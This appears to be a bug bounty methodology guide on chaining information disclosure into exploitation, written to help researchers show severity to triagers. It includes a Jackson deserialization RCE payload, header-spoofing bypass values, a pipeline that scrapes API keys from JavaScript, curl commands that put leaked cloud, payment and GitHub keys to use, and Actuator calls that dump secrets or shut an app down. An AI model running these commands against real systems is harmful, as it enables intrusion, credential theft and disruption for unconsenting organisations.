Info Disclosure to Full Exploitation

Why This Chain Works

Triagers want to close info disclosure findings as informational. "This doesn't directly harm users." That's usually the wrong call, and it's your job to show why. The real question isn't "what is disclosed" but "what does an attacker do with this?" A stack trace is recon. An internal path is a roadmap. An API key in JavaScript is a skeleton key. You have to close the loop and show the next step.

Related: Recon, JavaScript Analysis, CVE Exploitation


Attack Flow

graph TD
    A[Info disclosure discovered] --> B{What type?}
    B -->|Stack trace / error page| C[Extract framework, version, dependencies]
    B -->|Internal paths / filenames| D[Map internal structure, find non-public endpoints]
    B -->|API keys in JS| E[Identify what service the key belongs to]
    B -->|Source code in response| F[Audit code for hardcoded creds, logic flaws]
    B -->|Debug endpoints active| G[Access debug/admin panel, read internal state]
    B -->|Version numbers| H[Search CVE databases for known exploits]
    C --> H
    H --> I{Known CVE exists?}
    I -->|Yes| J[Test CVE against target, confirm vulnerable version in use]
    J --> K[Exploit CVE: RCE, auth bypass, data leak]
    D --> L[Directory traversal, path confusion attacks]
    E --> M{Key permissions?}
    M -->|Read-only| N[Data exfiltration from that service]
    M -->|Read-write| O[Data modification, service abuse, billing fraud]
    M -->|Admin| P[Full service takeover]
    F --> Q[Use logic flaws to bypass auth, escalate, or manipulate state]
    G --> R[Read internal data, trigger admin actions]
    L --> S[Access hidden functionality or config files]

Scenario 1: Stack Trace to CVE Exploitation

What You Find

HTTP/1.1 500 Internal Server Error
 
java.lang.NullPointerException
    at com.example.app.UserController.getUser(UserController.java:145)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    ...
 
Apache Struts 2.5.10
Spring Boot 1.5.3.RELEASE
Jackson 2.9.0

What You Do With It

  1. Note every framework and version.
  2. Search for CVEs: apache struts 2.5.10 CVE, spring boot 1.5.3 CVE, jackson 2.9.0 CVE.
  3. Jackson 2.9.0 is vulnerable to CVE-2017-7525 (deserialization RCE). Spring Boot 1.5.3 has several known issues.
  4. Test the Jackson deserialization payload:
["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 {"transletBytecodes":["ACED..."],
  "transletName":"a.b",
  "outputProperties":{}}]
  1. If it pops a callback, you have RCE from an info disclosure finding.

The report: "This stack trace reveals Apache Struts 2.5.10 and Jackson 2.9.0. Jackson 2.9.0 is vulnerable to CVE-2017-7525. I confirmed the deserialization endpoint accepts Jackson-formatted input. PoC showing command execution attached."


Scenario 2: Internal Paths to Hidden Endpoints

What You Find

FileNotFoundException: /var/app/config/internal-api.properties not found
Path: /internal/v2/admin/user-management
Class: com.example.controllers.InternalAdminController

What You Do With It

  1. Try GET /internal/v2/admin/user-management directly.
  2. The internal path suggests it's meant to be blocked at the load balancer, not in the app itself.
  3. Try bypassing with:
    • X-Forwarded-For: 127.0.0.1
    • X-Real-IP: 127.0.0.1
    • X-Original-URL: /internal/v2/admin/user-management
    • Host: localhost
    • X-Custom-IP-Authorization: 127.0.0.1
  4. If any of those bypass the restriction, you're in the internal admin panel.

Also, that config file path tells you where app configs live. If there's a file disclosure vulnerability elsewhere, now you know what to read: /var/app/config/internal-api.properties, which almost certainly contains database credentials or internal API keys.


Scenario 3: API Keys in JavaScript

What You Find

Browse to the app, open DevTools, search through JS files for common patterns:

# In browser console or via automated tooling
# Look for:
# - sk-live-, sk-test- (Stripe)
# - AKIA, ASIA (AWS)
# - AIzaSy (Google)
# - xoxb-, xoxp- (Slack)
# - ghp_, gho_, github_pat_ (GitHub)
# - SG. (SendGrid)

Using tools:

# Download all JS files from the target
katana -u https://target.com -jc | grep "\.js$" | while read url; do
  curl -s "$url" >> all_js.txt
done
 
# Search for API keys
trufflehog filesystem --directory ./js_files/
# or
grep -Eo "(AKIA|AIzaSy|sk-live-|xoxb-|SG\.)[A-Za-z0-9_-]{20,}" all_js.txt

What You Do With It

AWS key (AKIA...):

aws sts get-caller-identity --access-key-id AKIA... --secret-access-key ...
# Shows what account and role this key belongs to
# Then enumerate permissions with enumerate-iam

Stripe key (sk_live_...):

curl https://api.stripe.com/v1/customers \
  -u sk_live_YOUR_KEY:
# Lists all customers with payment methods
# sk_live keys have full read/write - can issue refunds, create charges, read all PII

SendGrid key (SG....):

curl --request GET \
  --url https://api.sendgrid.com/v3/marketing/contacts \
  --header "Authorization: Bearer SG.YOUR_KEY"
# Read all marketing contacts (PII leak)
# Can also send emails as the organization (phishing via legitimate domain)

GitHub token (ghp_...):

curl -H "Authorization: token ghp_..." https://api.github.com/user
curl -H "Authorization: token ghp_..." https://api.github.com/user/repos?type=all
# May have access to private repos containing source code, more secrets

Google API key (AIzaSy...):

# Test which APIs it's enabled for
curl "https://maps.googleapis.com/maps/api/geocode/json?address=test&key=AIzaSy..."
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=AIzaSy..."
# If Maps API: billing abuse possible (generate charges for the org)
# If Firebase: potentially read/write database

Scenario 4: Debug Endpoints

What You Find

GET /_debug HTTP/1.1 -> 200 OK
GET /actuator HTTP/1.1 -> 200 OK (Spring Boot Actuator)
GET /api/debug/info HTTP/1.1 -> 200 OK

What You Do With It

Spring Boot Actuator endpoints:

curl https://target.com/actuator/env
# Returns ALL environment variables including DB passwords, API keys, secret keys
 
curl https://target.com/actuator/heapdump
# Downloads a JVM heap dump - contains all in-memory data including session tokens
 
curl https://target.com/actuator/mappings
# Lists all URL routes including internal ones
 
curl -X POST https://target.com/actuator/shutdown
# Shuts down the application (don't do this)
 
curl -X POST https://target.com/actuator/loggers/ROOT \
  -H "Content-Type: application/json" \
  -d '{"configuredLevel":"TRACE"}'
# Increases logging verbosity, potentially exposing more data

The /actuator/env endpoint alone is typically a critical. It contains every secret the app has.


Building the Chain for Reporting

The key is showing each link explicitly. Don't make the triager do the mental work.

Finding: Stack trace at /api/users/error exposes "Spring Boot 2.3.1"
Step 1: Searched NVD for Spring Boot 2.3.1 -> CVE-2020-5408 (Spring Security brute force)
Step 2: Identified /login endpoint uses Spring Security default config
Step 3: No rate limiting on /login
Step 4: Brute-forced admin:admin in 3 requests (no lockout)
Step 5: Logged in as admin, full panel access confirmed
 
Without the version disclosure, this would require blind testing.
With the disclosure, an attacker can target known vulnerabilities directly.

Quick Reference: Info Type Attack Vector

Disclosed InfoWhat It Enables
Framework + versionTargeted CVE exploitation
Internal file pathsPath traversal, config file reads
AWS/GCP/Azure keyCloud service access, data exfil, billing abuse
Stripe/payment keyPII access, financial manipulation
Database connection stringDirect DB access if network allows
JWT secretForge arbitrary tokens, ATO any account
Debug endpoint activeRead env vars, heap dumps, route maps
Git repository exposed (.git/)Full source code, commit history, embedded secrets
Private IP addressesNetwork topology for internal attacks
Username enumerationTargeted credential stuffing

Reporting Notes

Never submit info disclosure without showing what it enables. If you found a version number, search for CVEs and test them. If you found an API key, prove what it has access to. If you found an internal path, show that accessing it works. The triager's default is "low, informational at best." Your job is to show them the full kill chain that starts with that one disclosure. Severity of the report should reflect the worst-case exploitation path, not the disclosure itself.